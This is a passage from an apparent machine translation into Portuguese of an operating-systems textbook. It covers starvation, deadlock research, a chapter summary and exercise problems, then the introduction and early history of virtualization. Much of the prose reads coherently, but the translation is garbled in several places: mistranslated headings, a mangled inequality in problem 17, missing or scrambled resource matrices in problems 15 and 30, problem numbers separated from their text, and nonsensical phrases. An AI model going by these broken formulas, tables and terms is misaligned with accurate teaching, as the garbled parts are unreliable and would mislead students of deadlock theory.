adquirir bloqueio(&recurso 2); 


} usar ambos os recursos(); 
liberar bloqueio (&recurso 1); 
liberar bloqueio (&recurso 2); 


Figura 6-19. Processos educados que podem causar livelock. 


um de tudo. Se esses problemas pudessem ser eliminados gratuitamente, não haveria muita discussão. 
O problema é que o preço é alto, principalmente em termos de impor restrições inconvenientes aos 
processos. Assim, deparamo-nos com um compromisso desagradável entre conveniência e correção, e 
com muita discussão sobre o que é mais importante e para quem. 


6.7.4 Fome 


Já vimos que um problema intimamente relacionado ao deadlock e ao livelock é a fome. Em um 
sistema dinâmico, as solicitações de recursos acontecem o tempo todo. É necessária alguma política para 
tomar uma decisão sobre quem recebe quais recursos e quando. Esta política, embora aparentemente 
razoável, pode fazer com que alguns processos nunca obtenham serviço, mesmo que não estejam em 
impasse. 

Por exemplo, considere a alocação da impressora. Imagine que o sistema usa algum algoritmo para 
garantir que a alocação da impressora não leve a um impasse. 

Agora suponha que vários processos queiram isso ao mesmo tempo. Quem deveria recebê-lo? 

Um algoritmo de alocação possível é fornecê-lo ao processo com o menor arquivo para imprimir 
(assumindo que esta informação esteja disponível). Essa abordagem maximiza o número de clientes 
satisfeitos e parece justa. Agora considere o que acontece em um sistema ocupado quando um processo 
tem um arquivo enorme para imprimir. Cada vez que a impressora está livre, o 
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o sistema examinará e escolherá o processo com o arquivo mais curto. Se houver um fluxo 
constante de processos com arquivos curtos, o processo com o arquivo enorme nunca será alocado 
na impressora. Simplesmente morrerá de fome (será adiado indefinidamente, mesmo que não 
esteja bloqueado). 

A fome pode ser evitada através de uma política de alocação de recursos por ordem de 
chegada. Com essa abordagem, o processo que espera por mais tempo é atendido em seguida. 

No devido tempo, qualquer processo acabará se tornando o mais antigo e, assim, obterá os 
recursos necessários. 

Vale a pena mencionar que algumas pessoas não fazem distinção entre fome e impasse 
porque em ambos os casos não há progresso. Outros acham que são fundamentalmente diferentes 
porque um processo poderia facilmente ser programado para tentar fazer algo n vezes e, se todos 
falhassem, tentar outra coisa. Um processo bloqueado não tem essa escolha. 


6.8 PESQUISA SOBRE PASSOS 


Se alguma vez houve um assunto que foi investigado impiedosamente durante os primeiros 
dias dos sistemas operacionais (décadas de 1960 e 1970), foi o dos impasses. A razão é que a 
detecção de impasses é um pequeno problema de teoria dos grafos que um estudante de pós- 
graduação com inclinações matemáticas poderia controlar e mastigar por 4 anos. 

Muitos algoritmos foram concebidos, cada um mais exótico e menos prático que o anterior. A maior 
parte desse trabalho morreu. Mesmo assim, alguns artigos ainda estão sendo publicados sobre 
impasses. 

Trabalhos recentes sobre impasses incluem novas abordagens para diagnosticar problemas 
de simultaneidade, como impasses. O desafio aqui é reproduzir os cronogramas, ou “intercalações 
de threads”, que levam ao impasse, livelock e condições semelhantes. 

Infelizmente, registrar detalhadamente as decisões de programação nos sistemas de produção é 
muito caro. Em vez disso, os pesquisadores estão procurando maneiras de registrar as intercalações 
em uma granularidade mais grosseira, garantindo ao mesmo tempo a reprodutibilidade do problema 
de impasse ou livelock (Kasikci et al., 2017). 

Marinho et al. (2013), por outro lado, utilizam o controle de simultaneidade para garantir que 
os impasses não possam ocorrer em primeiro lugar. Em contraste, Duo et al. (2020) usam 
modelagem mal para derivar restrições no agendamento para garantir que não ocorram impasses. 


As soluções para detecção de impasses não estão limitadas a um único sistema. Por exemplo, 
Hu et al. (2017) apresentam um método que evita deadlocks devido ao uso de Remote DMA 
(RDMA) em data centers. RDMA é exatamente como o DMA normal, conforme discutido no Cap. 
5, exceto que a transferência DMA agora é iniciada a partir de uma máquina remota através da 
rede. Num modo específico, conhecido como controlo de fluxo prioritário, a transferência RDMA 
requer a reserva (exclusiva) de buffers RDMA nos nós intermédios da rede. Isso é feito para 
garantir que não haja quedas de pacotes devido ao estouro de buffers. No entanto, esses buffers 
são apenas o tipo de limitação 
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recursos que discutimos neste capítulo. Suponha que dois hosts desejem realizar uma transferência 
RDMA e ambos tenham que usar buffers nos nós intermediários N1 e N2. Se um dos hosts reservar 
o último buffer em N1 e o outro o último buffer em N2, nenhum deles poderá progredir. Ao garantir 
que os pacotes de diferentes fluxos acabem em buffers diferentes, Hu et al. (2017) mostram que 
impasses não são possíveis. 

Outra direção de pesquisa é tentar detectar impasses. Por exemplo, Pyla e Varadarajan (2012) 
apresentam um sistema de detecção de deadlock que associa atualizações de memória a um ou 
mais bloqueios que protegem as atualizações e não torna as atualizações globalmente visíveis até 
que todos os bloqueios que protegem as atualizações sejam liberados. Todas as atualizações de 
memória em uma região crítica são então realizadas atomicamente. Ao verificar na aquisição dos 
bloqueios, é possível detectar antecipadamente os impasses e iniciar o procedimento de recuperação. 
A recuperação de um deadlock consiste simplesmente em escolher um dos bloqueios e descartar 
todas as atualizações de memória pendentes associadas a ele. O trabalho de Cai e Chan (2012) 
apresenta um novo esquema dinâmico de detecção de deadlock que remove iterativamente as 
dependências de bloqueio que não possuem arestas de entrada ou saída. 

Finalmente, há uma enorme quantidade de trabalho teórico sobre detecção de impasses 
distribuídos. Entretanto, não consideraremos isso aqui porque (1) está fora do escopo deste livro e 
(2) nada disso é nem remotamente prático em sistemas reais. Sua principal função parece ser 
manter fora das ruas os teóricos dos grafos, que de outra forma estariam desempregados. 


6.9 RESUMO 


Deadlock é um problema potencial em qualquer sistema operacional. Ocorre quando todos os 
membros de um conjunto de processos estão bloqueados aguardando um evento que somente 
outros membros do mesmo conjunto podem causar. Esta situação faz com que todos os processos 
esperem para sempre. Normalmente o evento que os processos estão aguardando é a liberação de 
algum recurso mantido por outro membro do conjunto. Outra situação em que o deadlock é possível 
é quando um conjunto de processos em comunicação está todos esperando por uma mensagem e 
o canal de comunicação está vazio e nenhum timeout está pendente. 

O impasse de recursos pode ser evitado controlando quais estados são seguros e quais são 
inseguros. Um estado seguro é aquele em que existe uma sequência de eventos que garante que 
todos os processos possam terminar. Um estado inseguro não tem tal garantia. O algoritmo do 
banqueiro evita o impasse ao não conceder uma solicitação se essa solicitação colocar o sistema 
em um estado inseguro. 

O impasse de recursos pode ser evitado estruturalmente construindo o sistema de tal forma 
que nunca possa ocorrer por design. Por exemplo, ao permitir que um processo retenha apenas um 
recurso em qualquer instante, a condição de espera circular necessária para o deadlock é quebrada. 
O impasse de recursos também pode ser evitado numerando todos os recursos e fazendo com que 
os processos os solicitem em ordem estritamente crescente. 

O impasse de recursos não é o único tipo de impasse. O impasse de comunicação também é 
um problema potencial em alguns sistemas, embora muitas vezes possa ser resolvido através da 
definição de tempos limite apropriados. 
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Livelock é semelhante ao impasse, pois pode interromper todo o progresso, mas é 
tecnicamente diferente, pois envolve processos que não estão realmente bloqueados. A 
fome pode ser evitada através de uma política de distribuição por ordem de chegada. 


PROBLEMAS 


1. Dê um exemplo de impasse retirado da política. 


2. No problema do jantar dos filósofos, utilize o seguinte protocolo: um filósofo de número par sempre pega 
o garfo esquerdo antes de pegar o garfo direito; um filósofo ímpar sempre pega o garfo direito antes de 
pegar o garfo esquerdo. Este protocolo garantirá uma operação livre de deadlocks? 


3. Na solução do problema do jantar dos filósofos (Fig. 6-5), por que a variável de estado é 
definido como HUNGRY no procedimento pegue garfos? 


4. Considere o procedimento de colocação de garfos na Figura 6-5. Suponha que a variável state[i] tenha 


sido definida como THINKING após as duas chamadas para teste, e não antes. Como essa mudança 
afetaria a solução? 


5. Os alunos que trabalham em PCs individuais em um laboratório de informática enviam seus arquivos para 
serem impressos por um servidor que armazena os arquivos em seu disco rígido. Sob quais condições 


pode ocorrer um conflito se o espaço em disco para o spool de impressão for limitado? Como o impasse 
pode ser evitado? 


6. Na questão anterior, quais recursos são preemptivos e quais são não preemptivos 
vazio? 


7. As quatro condições (exclusão mútua, retenção e espera, sem preempção e espera circular) são 


necessárias para que ocorra um impasse de recursos. Dê um exemplo para mostrar que essas condições 
não são suficientes para que ocorra um impasse de recursos. Quando essas condições são suficientes 


para que ocorra um impasse de recursos? 


8. As ruas da cidade são vulneráveis a uma condição de bloqueio circular chamada engarrafamento, na qual 
os cruzamentos são bloqueados por carros que bloqueiam os carros atrás deles, que bloqueiam os carros 
que estão tentando entrar no cruzamento anterior, etc. cheio de veículos que bloqueiam o tráfego em 
sentido contrário de forma circular. 

O impasse é um impasse de recursos e um problema na sincronização da concorrência. O algoritmo de 
prevenção da cidade de Nova York, chamado “não bloqueie a caixa”, proíbe os carros de entrar em um 
cruzamento, a menos que o espaço após o cruzamento também esteja disponível. 

Que algoritmo de prevenção é esse? Você pode fornecer algum outro algoritmo de prevenção para 
impasses? 


9. Suponha que quatro carros se aproximem de um cruzamento vindos de quatro direções diferentes 
simultaneamente. Cada esquina do cruzamento tem uma placa de pare. Suponha que as regras de 
trânsito exijam que, quando dois carros se aproximam de sinais de parada adjacentes ao mesmo tempo, 
o carro da esquerda ceda ao carro da direita. Assim, enquanto quatro carros se dirigem cada um até seus 
sinais de parada individuais, cada um espera (indefinidamente) que o carro da esquerda prossiga. Esta 
anomalia é um impasse de comunicação? É um impasse de recursos? 
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10. É possível que um impasse de recursos envolva múltiplas unidades de um tipo e uma única unidade de 
outro? Se sim, dê um exemplo. 


11. A Figura 6-6 mostra o conceito de gráfico de recursos. Existem gráficos ilegais, isto é, gráficos que violam 
estruturalmente o modelo que usamos de uso de recursos? Se sim, dê um exemplo de um. 


12. Suponha que haja um impasse de recursos em um sistema. Dê um exemplo para mostrar que o conjunto 
de processos em impasse pode incluir processos que não estão na cadeia circular no gráfico de alocação 
de recursos correspondente. 


13. Para controlar o tráfego, um roteador de rede A envia periodicamente uma mensagem ao seu vizinho B, 
informando-o para aumentar ou diminuir o número de pacotes que pode manipular. 
Em algum momento, o roteador A é inundado com tráfego e envia uma mensagem a B solicitando que 
ele pare de enviar tráfego. Ele faz isso especificando que o número de bytes que B pode enviar (tamanho 
da janela de A) é 0. À medida que os picos de tráfego diminuem, A envia uma nova mensagem, 
informando a B para reiniciar a transmissão. Isso é feito aumentando o tamanho da janela de 0 para um 


número positivo. Essa mensagem está perdida. Conforme descrito, nenhum dos lados jamais transmitirá. 
Que tipo de impasse é esse? 


14. A discussão do algoritmo de avestruz menciona a possibilidade de preenchimento de slots de tabelas de 


processos ou outras tabelas de sistema. Você pode sugerir uma maneira de permitir que um 
administrador de sistema se recupere de tal situação? 


15. Considere o seguinte estado de um sistema com quatro processos, P1, P2, P3 e P4, e cinco tipos de 
recursos, RS1, RS2, RS3, RS4 e RS5: 


E = (24144) 


UMA = (01021) 


Usando o algoritmo de detecção de deadlock descrito na Seção 6.4.2, mostre que há um deadlock no 
sistema. Identifique os processos que estão em impasse. 


16. Explique como o sistema pode se recuperar do impasse do problema anterior usando 


(a) recuperação por preempção. (b) 
recuperação através de rollback. (c) 
recuperação através de processos de abate. 


17. Suponha que na Fig. 6-9 Cij+ Rij> Eparao j para alguns eu. Que implicações isso tem 
sistema? 


18. Qual é a principal diferença entre o modelo mostrado na Fig. 6-8 e os estados seguros e inseguros 
descritos na Seção. 6.5.2. Qual é a consequência desta diferença? 


19. Todas as trajetórias na Figura 6-11 são horizontais ou verticais. Você consegue imaginar qualquer cir 
circunstâncias em que trajetórias diagonais também são possíveis? 


20. O esquema de trajetória de recursos da Figura 6.11 também pode ser usado para ilustrar o problema de 
impasses com três processos e três recursos? Como ou por que não? 
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21. 


22. 


23. 


24. 


25. 


26. 


27. 


28. 


29. 


30. 


31. 


32. 


33. 


Em teoria, os gráficos da trajetória dos recursos poderiam ser utilizados para evitar impasses. Através de um 
agendamento inteligente, o sistema operacional poderia evitar regiões inseguras. Existe uma maneira prática 
de realmente fazer isso? 


Considere um sistema que utiliza o algoritmo do banqueiro para evitar impasses. Em algum momento, um 
processo P solicita um recurso R , mas é negado, embora R esteja atualmente disponível. 
Isso significa que se o sistema alocasse R para P, o sistema entraria em impasse? 


Uma limitação importante do algoritmo do banqueiro é que ele requer conhecimento das necessidades máximas 
de recursos de todos os processos. É possível projetar um algoritmo para evitar impasses que não requeira 
esta informação? Explique sua resposta. 


Observe atentamente a Figura 6.14(b). Se D pedir mais uma unidade, isso leva a um estado seguro ou inseguro? 
E se a solicitação vier de C em vez de D? 


Um sistema possui dois processos e três recursos idênticos. Cada processo precisa de no máximo dois recursos. 
O impasse é possível? Explique sua resposta. 


Considere novamente o problema anterior, mas agora com p processos, cada um necessitando de um máximo 
de m recursos e um total de r recursos disponíveis. Que condição deve ser mantida para liberar o impasse do 
sistema? 


Suponha que o processo A da Figura 6.15 solicite a última unidade de fita. Essa ação leva 
para um impasse? 


Um computador possui seis unidades de fita, com n processos competindo por elas. Cada processo pode 
precisar de duas unidades. Para quais valores de n o sistema está livre de deadlocks? 


O algoritmo do banqueiro está sendo executado em um sistema com m classes de recursos en processos. No 
limite de grandes m e n, o número de operações que devem ser realizadas para verificar um estado de 
segurança é proporcional a man nb - Quais são os valores de a e b? 


Um sistema possui quatro processos e cinco recursos alocáveis. A alocação atual e 
as necessidades máximas são as seguintes: 


Máximo Alocado Disponível 10211 11213 00x11 


Processo A 20110 22210 11010 21310 
Processo B 

Processo C 

Processo D 11110 11221 


Qual é o menor valor de x para o qual este é um estado seguro? 


Uma forma de eliminar a espera circular é ter uma regra que diga que um processo tem direito apenas a um 
único recurso em qualquer momento. Dê um exemplo para mostrar que esta restrição é inaceitável em muitos 
casos. 


Dois processos, A e B, precisam cada um de três registros, 1, 2 e 3, em um banco de dados. Se A os solicitar na 
ordem 1, 2, 3 e Bos solicitar na mesma ordem, o impasse não será possível. No entanto, se B os solicitar na 
ordem 3, 2, 1, então o impasse é possível. 

Com três recursos, são 3! ou seis combinações possíveis nas quais cada processo pode solicitá-los. Que 
fração das combinações certamente estará livre de impasses? 


Um sistema distribuído que utiliza caixas de correio possui duas primitivas IPC, enviar e receber. A última 
primitiva especifica um processo para receber e bloqueia se nenhuma mensagem desse 
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processo está disponível, mesmo que mensagens possam estar aguardando de outros processos. 
Não há recursos compartilhados, mas os processos precisam se comunicar frequentemente sobre 
outros assuntos. O impasse é possível? Discutir. 


34. Num sistema de transferência electrónica de fundos, existem centenas de processos idênticos que 
trabalhe da seguinte maneira. Cada processo lê uma linha de entrada especificando uma quantia em dinheiro, o 
conta a ser creditada e a conta a ser debitada. Em seguida, ele bloqueia ambas as contas e 
transfere o dinheiro, liberando as fechaduras quando terminar. Com muitos processos em execução 
paralelamente, existe um perigo muito real de que um processo que tenha bloqueado a conta x seja 
incapaz de bloquear y porque y foi bloqueado por um processo que agora aguarda x. Elabore um 
esquema que evita impasses. Não libere um registro de conta antes de concluir as transações. (Em outras 
palavras, soluções que bloqueiam uma conta e depois 
libere-o imediatamente se o outro estiver bloqueado não for permitido.) 


35. Uma forma de evitar impasses é eliminar a condição de espera e espera. No texto é 
Foi proposto que antes de solicitar um novo recurso, um processo deve primeiro liberar todos os recursos que 
já possui (assumindo que isso seja possível). No entanto, fazê-lo introduz o perigo de que possa obter o novo 
recurso, mas perder alguns dos existentes para 
processos concorrentes. Proponha uma melhoria neste esquema. 


36. Um estudante de ciência da computação designado para trabalhar com impasses pensa na seguinte maneira 
brilhante de eliminar impasses. Quando um processo solicita um recurso, ele especifica um 
limite de tempo. Se o processo for bloqueado porque o recurso não está disponível, um cronômetro será 
iniciado. Se o limite de tempo for excedido, o processo será liberado e poderá ser executado novamente. Se 
você fosse o professor, que nota você daria para essa proposta e por quê? 


37. As unidades de memória principais são substituídas em sistemas de troca e de memória virtual. O 
o processador é interrompido em ambientes de compartilhamento de tempo. Você acha que esses métodos de 
preempção foram desenvolvidos para lidar com impasses de recursos ou para outros fins? Como 
alta é a sobrecarga deles? 


38. Explique as diferenças entre impasse, livelock e fome. 


39. Suponha que dois processos estejam emitindo um comando de busca para reposicionar o mecanismo para 
acesse o disco e habilite um comando de leitura. Cada processo é interrompido antes de executar sua leitura 
e descobre que o outro moveu o braço do disco. Cada um então reedita 
o comando de busca, mas é novamente interrompido pelo outro. Esta sequência continuamente 
repete. Este é um impasse de recursos ou um livelock? Que métodos você recomendaria para lidar com a 
anomalia? 


40. As redes locais utilizam um método de acesso ao meio denominado CSMA/CD, no qual as estações que 
partilham um barramento podem detectar o meio e detectar transmissões, bem como colisões. No protocolo 
Ethernet, as estações que solicitam o canal compartilhado não transmitem 
quadros se sentirem que o meio está ocupado. Quando essa transmissão termina, cada estação em espera 
transmite seus quadros. Dois quadros transmitidos ao mesmo tempo 
o tempo irá colidir. Se as estações retransmitirem imediata e repetidamente após a colisão 
detecção, eles continuarão a colidir indefinidamente. 


(a) Este é um impasse de recursos ou um livelock? 
(b) Você pode sugerir uma solução para esta anomalia? 
(c) Pode ocorrer fome neste cenário? 


Machine Translated by Google 


INDIVÍDUO. 6 PROBLEMAS 475 


41. Um programa contém um erro na ordem dos mecanismos de cooperação e concorrência, resultando num 
processo do consumidor bloqueando um mutex (semáforo de exclusão mútua) antes de bloquear num 
buffer vazio. O processo produtor bloqueia o mutex antes de poder colocar um valor no buffer vazio e 
despertar o consumidor. Assim, ambos os processos ficam bloqueados para sempre, o produtor 
aguardando o desbloqueio do mutex e o consumidor aguardando um sinal do produtor. Isto é um impasse 
de recursos ou um impasse de comunicação? Sugira métodos para seu controle. 


42. Cinderela e o Príncipe estão se divorciando. Para dividir suas propriedades, eles concordaram com o 
seguinte algoritmo. Todas as manhãs, cada um pode enviar uma carta ao advogado do outro solicitando 
um bem. Como a entrega das cartas demora um dia, eles concordaram que, se ambos descobrirem que 
solicitaram o mesmo item no mesmo dia, no dia seguinte enviarão uma carta cancelando o pedido. Entre 
suas propriedades estão seu cachorro, Woofer, a casinha de cachorro de Woofer, seu canário, Tweeter e 
a gaiola de Tweeter. Os animais adoram as suas casas, por isso foi acordado que qualquer divisão de 
propriedade que separe um animal da sua casa é inválida, exigindo que toda a divisão seja recomeçada 
do zero. Tanto Cinderela quanto o Príncipe querem Woofer desesperadamente. Para que possam tirar 
férias (separadas), cada cônjuge programou um computador pessoal para tratar da negociação. Quando 
voltam das férias, os computadores ainda estão negociando. Por que? O impasse é possível? A fome é 
possível? Discutir. 


43. Um estudante com especialização em antropologia e especialização em ciências da computação embarcou 
num projecto de investigação para ver se os babuínos africanos podem ser ensinados sobre impasses. 
Ele localiza um desfiladeiro profundo e amarra uma corda nele, para que os babuínos possam cruzar as 
mãos. Vários babuínos podem cruzar ao mesmo tempo, desde que todos sigam na mesma direção. Se os 
babuínos que se movem para leste e para oeste subirem na corda ao mesmo tempo, resultará num 
impasse (os babuínos ficarão presos no meio) porque é impossível para um babuíno passar por cima de 
outro enquanto estiver suspenso sobre a corda. desfiladeiro. Se um babuíno quiser atravessar o 
desfiladeiro, ele deve verificar se nenhum outro babuíno está atravessando na direção oposta. Escreva 
um programa usando semáforos que evite impasses. Não se preocupe com uma série de babuínos que 
se movem para o leste segurando indefinidamente os babuínos que se movem para o oeste. 


44. Repita o problema anterior, mas agora evite a fome. Quando um babuíno que deseja cruzar para o leste 
chega à corda e encontra babuínos atravessando para o oeste, ele espera até que a corda esteja vazia, 
mas nenhum babuíno que se move para o oeste pode começar até que pelo menos um babuíno tenha 
cruzado o outro. caminho. 


45. Programe uma simulação do algoritmo do banqueiro. Seu programa deve percorrer cada um dos clientes 
do banco solicitando uma solicitação e avaliando se é seguro ou inseguro. 
Envie um log de solicitações e decisões para um arquivo. 


46. Escreva um programa para implementar o algoritmo de detecção de deadlock com múltiplos recursos de 
cada tipo. Seu programa deve ler de um arquivo as seguintes entradas: o número de processos, o número 
de tipos de recursos, o número de recursos de cada tipo existentes (vetor E ), a matriz de alocação atual 
C (primeira linha, seguida pela segunda linha , e assim por diante), a matriz de solicitação R (primeira 
linha, seguida pela segunda linha e assim por diante). A saída do seu programa deve indicar se há um 
impasse no sistema. Caso exista, o programa deverá imprimir as identidades de todos os processos que 
estão em deadlock. 
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47. Escreva um programa que detecte se há um impasse no sistema usando um recurso 
gráfico de alocação. Seu programa deve ler de um arquivo as seguintes entradas: o número de 
processos e o número de recursos. Para cada processo deve ler quatro 
números: o número de recursos que possui atualmente, os IDs dos recursos que está 
mantendo, o número de recursos que está solicitando atualmente e os IDs dos recursos que 
está solicitando. A saída do programa deverá indicar se há um deadlock no sistema. Caso exista, o 


programa deverá imprimir as identidades de todos os processos que estão 
em impasse. 


48. Em certos países, quando duas pessoas se encontram, elas se curvam. O protocolo é esse 
um deles se curva primeiro e fica abaixado até que o outro se curve. Se eles se curvarem no 
ao mesmo tempo, eles não saberão quem deve ficar em pé primeiro, criando assim um impasse. 
Escreva um programa que não entre em conflito. 


49. No Cap. 2, estudamos monitores. Resolva o problema dos filósofos do jantar usando 
monitores em vez de semáforos. 
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Em algumas situações, uma organização possui um multicomputador, mas na verdade 
não o deseja. Um exemplo comum é quando uma empresa possui um servidor de e-mail, um 
servidor Web, um servidor FTP, alguns servidores de comércio eletrônico e outros. Todos 
rodam em computadores diferentes no mesmo rack de equipamentos, todos conectados por 
uma rede de alta velocidade, ou seja, um multicomputador. Uma razão pela qual todos esses 
servidores funcionam em máquinas separadas pode ser que uma máquina não consegue 
lidar com a carga, mas outra é a confiabilidade: a administração simplesmente não confia no 
sistema operacional para funcionar 24 horas por dia, 365 ou 366 dias por ano, sem falhas. . 
Ao colocar cada serviço em um computador separado, se um dos servidores travar, pelo 
menos os outros não serão afetados. Isso também é bom para a segurança. Mesmo que 
algum intruso malévolo consiga comprometer o servidor Web, ele também não terá acesso 
imediato a e-mails confidenciais — uma propriedade às vezes chamada de sandboxing. Embora 
o isolamento e a tolerância a falhas sejam alcançados desta forma, esta solução é cara e 
difícil de gerenciar porque há muitas máquinas envolvidas. 

Veja bem, esses são apenas dois dos muitos motivos para manter máquinas separadas. 
Por exemplo, as organizações muitas vezes dependem de mais de um sistema operacional 
para suas operações diárias: um servidor Web no Linux, um servidor de e-mail no Windows, 
um servidor de comércio eletrônico para clientes rodando no macOS e alguns outros 
serviços rodando em vários tipos. do UNIX. Novamente, esta solução funciona, mas 
definitivamente não é barata. 

O que fazer? Uma solução possível (e popular) é usar tecnologia de máquina virtual. 
A própria tecnologia de máquinas virtuais é bastante antiga, datando da década de 1960, 
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mas a forma como o usamos hoje é um pouco diferente. A idéia principal é que um VMM (Virtual Machine 
Monitor) crie a ilusão de múltiplas máquinas (virtuais) no 
mesmo hardware físico. Um VMM também é conhecido como hipervisor. Como discutido em 
Seg. 1.7.5, distinguimos entre hipervisores tipo 1 que rodam em bare metal, 
e hipervisores tipo 2 que podem fazer uso de todos os maravilhosos serviços e 
abstrações oferecidas por um sistema operacional subjacente. De qualquer forma, a virtualização 
permite que um único computador hospede múltiplas máquinas virtuais, cada uma potencialmente executando 
um sistema operacional completamente diferente. 

A vantagem desta abordagem é que uma falha em uma máquina virtual não 
derrubar quaisquer outros. Em um sistema virtualizado, diferentes servidores podem rodar em diferentes 
máquinas virtuais, mantendo assim o modelo de falha parcial que um multicomputador possui, mas a um custo 
menor e com maior facilidade de manutenção. Além disso, podemos 
agora executam vários sistemas operacionais diferentes no mesmo hardware, beneficiam-se 
isolamento de máquinas virtuais diante de ataques e aproveite outras coisas boas. 

É claro que consolidar servidores como esse é como colocar todos os ovos em um só. 
cesta. Se o servidor que executa todas as máquinas virtuais falhar, o resultado será ainda mais 
catastrófico do que a queda de um único servidor dedicado. A razão pela qual a virtualização funciona, 
entretanto, é que a maioria das interrupções de serviço não se deve a falhas de hardware, mas sim a falhas de hardware. 
mas sim para software mal projetado, não confiável, com bugs e mal configurado, incluindo enfaticamente 
sistemas operacionais. Com a tecnologia de máquina virtual, o único software executado no modo de privilégio 
mais alto é o hipervisor, que possui duas ordens 
de magnitude menos linhas de código do que um sistema operacional completo e, portanto, duas ordens 
de magnitude menos bugs. Um hipervisor é mais simples que um sistema operacional 
porque faz apenas uma coisa: emular múltiplas cópias do bare metal (a maioria 
comumente a arquitetura Intel x86, embora o ARM também esteja se tornando popular em data centers). 


A execução de software em máquinas virtuais tem ainda outras vantagens além de 
forte isolamento. Uma delas é que ter menos máquinas físicas economiza dinheiro 
em hardware e eletricidade e ocupa menos espaço no rack. Para uma empresa como 
Amazon, Google ou Microsoft, que podem ter centenas de milhares de servidores 
realizando uma enorme variedade de tarefas diferentes em cada data center, reduzindo o 
demandas em seus data centers representam uma enorme economia de custos. Na verdade, as empresas de 
servidores às vezes localizam seus data centers no meio do nada — só para ficarem alertas. 
perto, digamos, de barragens hidroeléctricas (e de energia barata). A virtualização também ajuda 
experimentando novas ideias. Normalmente, em grandes empresas, departamentos individuais ou 
grupos pensam em uma ideia interessante e depois saem e compram um servidor para implementar 
isto. Se a ideia se concretizar e forem necessários centenas ou milhares de servidores, o data center corporativo 
se expande. Muitas vezes é difícil migrar o software para máquinas existentes porque cada aplicação muitas 
vezes precisa de uma versão diferente do sistema operacional. 
sistema, suas próprias bibliotecas, arquivos de configuração e muito mais. Com máquinas virtuais, 
cada aplicativo pode levar consigo seu próprio ambiente. 
Outra vantagem das máquinas virtuais é que a verificação e a migração de máquinas virtuais (por exemplo, 


para balanceamento de carga entre vários servidores) são muito mais fáceis do que 


Machine Translated by Google 


479 


migração de processos em execução em um sistema operacional normal. Neste último caso, uma justa 
quantidade de informações críticas de estado sobre cada processo é mantida no sistema operacional 
tabelas, incluindo informações relacionadas a arquivos abertos, alarmes, manipuladores de sinais e 
mais. Ao migrar uma máquina virtual, tudo o que precisa ser movido é a memória 
e imagens de disco, já que todas as tabelas do sistema operacional também são movidas. 

Outro uso para máquinas virtuais é executar aplicativos legados em sistemas operacionais (ou versões de 
sistemas operacionais) que não são mais suportados ou que não funcionam em 
hardware atual. Eles podem ser executados ao mesmo tempo e no mesmo hardware que os aplicativos atuais. Na 
verdade, a capacidade de executar ao mesmo tempo aplicativos que usam 
diferentes sistemas operacionais é um grande argumento a favor das máquinas virtuais. 

Ainda outro uso importante das máquinas virtuais é o desenvolvimento de software. A 
programador que deseja garantir que seu software funcione no Windows 10, Windows 11, várias versões do Linux, 
FreeBSD, OpenBSD, NetBSD e macOS, 
entre outros sistemas não é mais necessário adquirir uma dúzia de computadores e instalar diferentes 
sistemas operacionais em todos eles. Em vez disso, ela simplesmente cria uma dúzia de máquinas virtuais em um 
único computador e instala um sistema operacional diferente em cada uma delas. 
É claro que ela poderia ter particionado o disco rígido e instalado um sistema operacional diferente em cada 
partição, mas essa abordagem é mais difícil. Em primeiro lugar, os PCs padrão suportam apenas quatro partições 
primárias de disco, independentemente do tamanho do disco. 
Segundo, embora um programa de inicialização múltipla possa ser instalado no bloco de inicialização, ele 
seria necessário reiniciar o computador para funcionar em um novo sistema operacional. 
Com máquinas virtuais, todas elas podem ser executadas ao mesmo tempo, já que na verdade são apenas 
processos glorificados. 

Talvez o caso de uso mais importante e compatível com a palavra-chave para virtualização 
hoje em dia é encontrado na nuvem. A ideia principal de uma nuvem é simples: terceirize suas necessidades de 
computação ou armazenamento para um data center bem gerenciado, administrado por um 
empresa especializada no assunto e composta por especialistas na área. Porque os dados 
centro normalmente pertence a outra pessoa, você provavelmente terá que pagar pelo uso 
dos recursos, mas pelo menos você não terá que se preocupar com máquinas físicas, energia, refrigeração e 
manutenção. Devido ao isolamento oferecido pela virtualização, os provedores de nuvem podem permitir que vários 
clientes, até mesmo concorrentes, compartilhem um 
única máquina física. Cada cliente ganha um pedaço da torta. Correndo o risco de esticar a metáfora da nuvem, 
mencionamos que os primeiros críticos sustentavam que o bolo estava 
apenas no céu e que organizações reais não gostariam de colocar seus dados sensíveis 
dados e cálculos sobre os recursos de outra pessoa. Até agora, no entanto, virtualizado 
máquinas na nuvem são usadas por inúmeras organizações para inúmeras aplicações e, embora possa não ser 
para todas as organizações e todos os dados, não há dúvida 
que a computação em nuvem tem sido um tremendo sucesso. 

Mencionamos que a virtualização baseada em hipervisor permite que os administradores executem 
vários sistemas operacionais isolados no mesmo hardware. Caso não haja necessidade 
para diferentes sistemas operacionais, apenas múltiplas instâncias do mesmo, existe uma 
alternativa aos hipervisores, conhecida como virtualização em nível de sistema operacional. Como o nome 
indica, é o sistema operacional que cria múltiplos ambientes virtuais para o usuário 
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espaço — comumente referido como contêineres ou prisões. Existem muitas diferenças 

com virtualização baseada em hipervisor. A principal delas é que embora um contêiner possa 

parecer um computador isolado (com seus próprios dispositivos, sua própria memória, etc.), o 

o sistema operacional subjacente é fixo e não pode ser substituído por outro. Um segundo 

diferença importante é que, como todos os contêineres usam o mesmo sistema operacional subjacente 
sistema (e, portanto, compartilhar seus recursos), o isolamento entre contêineres é menos 

completo do que entre máquinas virtuais. Uma terceira diferença é que, precisamente 

Como os contêineres utilizam diretamente os serviços de um único sistema operacional, eles 
geralmente são mais leves e eficientes do que soluções baseadas em hipervisor. Nisso 

capítulo, nosso foco principal é a virtualização baseada em hipervisor, mas discutiremos 


Virtualização em nível de sistema operacional também. 


7.1 HISTÓRIA 


Com todo o entusiasmo em torno da virtualização nos últimos anos, às vezes percebemos que, 
pelos padrões da Internet, as máquinas virtuais são antigas. Já na década de 1960. 
A IBM experimentou não apenas um, mas dois hipervisores desenvolvidos de forma independente: 
SIMMON e CP-40. Embora o CP-40 fosse um projeto de pesquisa, foi reimplementado 
como CP-67 para formar o programa de controle do CP/CMS, uma máquina virtual operando 
sistema para o IBM System/360 Modelo 67. Posteriormente, foi reimplementado novamente e 
lançado como VM/370 para a série System/370 em 1972. A linha System/370 foi 
substituído pela IBM na década de 1990 pelo System/390. Este era essencialmente apenas um nome 
mudança, uma vez que a arquitetura subjacente permaneceu a mesma por razões de compatibilidade 
com versões anteriores. Claro, a tecnologia de hardware foi bastante melhorada e 
as máquinas mais novas eram maiores e mais rápidas que as mais antigas, mas no que diz respeito 
à virtualização nada mudou. Em 2000 a IBM lançou a série z 
que suportava espaços de endereço virtual de 64 bits, mas era compatível com versões anteriores do 
System/360. Todos esses sistemas suportaram virtualização por décadas 
